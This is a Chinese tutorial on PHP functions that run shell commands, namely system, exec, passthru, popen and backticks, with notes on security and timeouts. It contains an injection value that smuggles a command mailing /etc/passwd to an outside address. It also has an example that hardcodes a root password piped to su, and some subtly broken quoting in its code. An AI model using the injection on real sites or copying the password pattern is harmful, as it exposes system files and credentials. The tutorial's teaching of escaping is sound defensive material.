在php编程中，用于执行系统外部命令的方法有很多，这里看下它们的区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果，返回最后一行shell结果，所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。
相同点：都可以获得命令执行的状态码。
例如：
PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。
前提条件
由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。
于是PHP的设计者们给PHP加了一个门：安全模式。
如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：
在 安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。
这个目录可以在php.ini文件中用 safe_mode_exec_dir指令，或在编译PHP是加上
--with-exec-dir选项来指定，默认是 /usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能PHP运行在安全模式下。
在PHP中调用外部命令，可以用如下三种方法来实现：
1） 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
1、system()
原型：string system (string command [, int return_var])
system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
2、exec()
原型：string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array 可以得到完整的结
果，方法是把结
果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二 个参数时，才可以用第三个参数，用来取得命令执行的状态码
。
例子：
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
3、passthru()
原型：void passthru (string command [, int return_var])
passthru ()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus （Unix下的一个处理图片
的工具，输出二
进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：
<?php
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2）、用popen()函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互。
有时须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行
上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一 的操作
模式，要么写，要么读；从PHP4开始，可以同时读和写了。
除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。
例子1：
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2：
<?php
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3）、用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
这个方法以前没有归入PHP的文档，是作为一个秘技存在的。
用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。
例如：
<?php $res='/bin/ls -l'; echo ' '.$res.' '; ?>
输出结果：
需要考虑两个问题：安全性和超时。
安全性。
比如，有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。
编写一个有表单的HTML文件，让你的用户输入他们的EMAIL地 址，然后把这个产品列表发给他们。
假设没有使用PHP的mail()函数（或从未听说过），就调用Linux/Unix系统的mail程序来发送此文件。
例如：
<?php
system("mail $to < products.txt");
echo "产品目录已经发送到你的信箱：$to";
?>
此代码实际上存在着非常大的安全漏洞。
如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'
则这条命令最终变成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
很恐怖吧，千万不要在自己的电脑上试，否则后果不是你想像的恶劣。
php提供了两个函数：EscapeShellCmd()和EscapeShellArg()。
函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell
中是有特殊含义的，象分号（），重定向（>）和从文件读入 （<）等。
函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串 就可以安全地作为命令的参数。
再说下超时问题。
如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。
默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。
解决方法，把命令的输出重定向到另外一个文件或流中。
例如：
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>